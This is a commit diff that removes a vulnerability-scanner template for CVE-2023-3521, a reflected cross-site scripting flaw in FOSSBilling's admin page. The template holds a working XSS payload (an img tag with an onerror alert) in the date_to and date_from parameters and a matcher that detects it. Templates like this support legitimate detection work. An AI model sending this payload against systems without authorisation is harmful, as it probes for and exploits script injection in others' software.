commit

http/cves/2023/CVE-2023-3521.yaml

@@ -1,34 +0,0 @@
-id: CVE-2023-3521
-
-info:
-  name: FOSSBilling < 0.5.3 - Cross-site Scripting (XSS) - Reflected 
-  author: ctflearner
-  severity: medium
-  description: |
-    Cross-site Scripting (XSS) - Reflected in GitHub repository fossbilling/fossbilling prior to 0.5.4.
-  reference:
-    - https://huntr.com/bounties/76a3441d-7f75-4a8d-a7a0-95a7f5456eb0
-    - https://nvd.nist.gov/vuln/detail/CVE-2023-3521
-    
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
-    cvss-score: 6.1
-    cve-id: CVE-2023-3521
-    cwe-id: CWE-79
-
-  metadata:
-    verified: true
-    max-request: 1
-    product: FOSSBilling
-  tags: cve2023,cve,huntr,FOSSBilling,reflectedxss,xss
-
-http:
-  - method: GET
-    path:
-      - "{{BaseURL}}/admin?_url=%2Fadmin&date_to='"><img src=x onerror=alert(3)>&date_from='"><img src=x onerror=alert(3)>"
-
-    matchers:
-      - type: word
-        part: body
-        words:
-          - "alert(3)"